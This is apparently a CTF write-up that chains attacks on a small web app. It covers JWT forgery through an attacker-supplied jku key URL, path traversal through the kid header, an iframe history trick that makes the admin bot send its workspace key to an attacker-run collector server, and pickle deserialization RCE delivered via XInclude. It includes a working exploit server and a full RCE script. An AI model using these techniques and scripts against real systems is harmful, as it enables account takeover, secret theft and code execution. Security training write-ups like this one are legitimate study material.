Disclaimer: I solved this task locally only after the competition was over and I got some help on the CTF Discord. Still, it showcases some interesting browser behavior that I decided was worth a writeup. Enjoy.
This is an open-source web app that is just a little over a thousand lines long, with a separate internal service and an admin bot on the side. It wants us to login first before we can access any of its features, and the traditional login form is a dead end.
Thankfully, the app also allows SSO that is supposed to return a jwt and implements a custom verification for it. It kindly provides us with an imaginary SSO url so we can only imagine how it is supposed to work (it doesn't, the whole thing is completely busted). This segment looks the most promising:
jku = str(header.get("jku", "")).strip()
if jku:
refresh_sso_jwks_cache(jku, int(cfg.get("SSO_JWKS_CACHE_TTL", 180) or 180))In refresh_sso_jwks_cache:
response = requests.get(jku, timeout=2)
response.raise_for_status()
data = response.json()
keys = data.get("keys") or []
now = int(time.time())
expiry = now + max(15, min(int(ttl or 180), 1200))
for entry in keys:
kid = str(entry.get("kid", "")).strip()
material = str(entry.get("k", "")).strip()
if kid and material:
SSO_JWKS_CACHE[kid] = {"key": material, "exp": expiry}Whatever token we provide, the app will blindly trust the jku header and load keys from it into in-memory cache.
More than that, even though the validator checks for explicit RS256 header in our token, it doesn't follow its own rules and checks the signature with SHA-256:
expected = hmac.new(key_material.encode(), signing_input, hashlib.sha256).digest()
if not hmac.compare_digest(expected, signature):
return None
return payloadWith these security holes we can bypass the authentication:
Pack our webhook URL into the
jkuheader;Sign a jwt with a fake key;
Make the webhook return this key;
There, we are authorized to access the app.
Unfortunately, this puts us at the bottom of the food chain, with role researcher. There are two above us: reviewer and admin. Is there a way to escalate our privileges? Yes, there is a literal /escalate endpoint. This endpoint expects a jwt from us and...
kid = str(header.get("kid", "reviewer"))
key_path = KEYS_DIR / f"{kid}.pem"
try:
key = key_path.read_bytes()
except Exception:
return None
expected = hmac.new(key, signing_input, hashlib.sha256).digest()
if not hmac.compare_digest(expected, signature):
return None
return payload...blindly trusts the kid header and then treats it like hmac. Because we haven't learned anything.
Another endpoint which we gained access to is /review/material/upload.
target = REVIEW_MATERIAL_DIR / filename
[...]
file_obj.save(target)This little / here and in the snippet before is a pathlib operator which literally means os.path.join. It will happily eat up path traversal for us. Upload a fake key pwn.pem, then path traverse in jwt header: "kid": "../review-materials/pwn" , fooling the validator once again.
Now, so far we've been dealing with the usual jwt nonsense, but this part is tricky. With our newfound privileges, we gained the ability to send the admin bot to visit any URL. Additionally, most admin endpoints only require a workspace key. It's included in the admin page HTML template.
If there does exist an XSS angle to this, I couldn't find it. A more interesting (and likely intended) way is hinted at here, in admin.js:
window.addEventListener("pageshow", (event) => {
if (event.persisted && xmlOutput) {
xmlOutput.textContent = "Workspace restored from browser cache.";
}
const navType =
performance.getEntriesByType("navigation")[0] &&
performance.getEntriesByType("navigation")[0].type;
const looksLikeBack = event.persisted || navType === "back_forward";
if (!looksLikeBack || !callbackUrl || !workspaceKey) {
return;
}
const sep = callbackUrl.includes("?") ? "&" : "?";
window.location = `${callbackUrl}${sep}workspace_key=${encodeURIComponent(workspaceKey)}`;
});Basically, if the page thinks it was navigated to using history traversal, it will redirect with the workspace key to any URL provided in the callbackUrl query param.
Quiz time! In Chrome, if you set up an <iframe>, change its src, then press the "Back" button, will the page:
Navigate to the last page visited
Or revert the iframe to its previous
src?
At this point it should be obvious that the correct answer is 2. Conversely, for Firefox the answer is 1. So, if you interview frontend devs and really want to fail your candidate, you know the question to ask.
With this precious knowledge under our belt, the implementation is painfully simple. Set up a simple server. When visited, deploy an iframe with /admin. Make the callback point to the same server. Change the iframe src. Execute history.go(-1).
parsed = urlparse(self.path)
if parsed.path == "/exploit":
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(f"""
<html><body><iframe id="f"></iframe><script>
const f = document.getElementById('f');
const target = "http://host.docker.internal:5000";
const cb = "http://host.docker.internal:5001/collect";
f.src = target + "/admin?cb=" + encodeURIComponent(cb);
setTimeout(() => {{
f.src = target + "/dashboard";
setTimeout(() => {{
history.go(-1)
}}, 5000);
}}, 5000);
</script></body></html>
""".encode())
elif parsed.path == "/collect":
print(parsed.query)The page thinks it was "historied to" by the user, but it was the attacker who was pulling the strings behind the scenes.
With a valid workspace key on our hands, it's a race to the finish line. We gain access to file uploads and xml imports that can include uploaded objects and deserialize them with pickle. This writeup is already overstaying its welcome so I'll keep it short. With __reduce__ method you can achieve RCE when your data gets deserialized. Leverage this to spawn a subprocess and move the flag to a publicly available directory.
import base64
import pickle
import requests
import subprocess
import uuid
BASE = "http://127.0.0.1:5000"
WORKSPACE_KEY = "qqUkC3bY6lu9YlaMymSuv83c"
class RCE:
def __reduce__(self):
return (subprocess.getoutput, ("cat /flag.txt > /shared/loot/flag.txt",))
name = f"payload-{uuid.uuid4().hex}.b64"
payload = base64.b64encode(pickle.dumps(RCE(), protocol=4)).decode()
s = requests.Session()
h = {"X-Workspace-Key": WORKSPACE_KEY}
print(s.post(f"{BASE}/admin/upload", headers=h, files={"file": (name, payload, "text/plain")}).text)
xml = f'<doc xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///var/app/uploads/{name}" parse="text"/></doc>'
print(s.post(f"{BASE}/admin/xml/import", headers=h, data={"xml": xml}).text)
print("FLAG:", s.get(f"{BASE}/recovery/latest").text)And that's the flag, folks. I hope you enjoyed my little article, and I'll see you in the next one.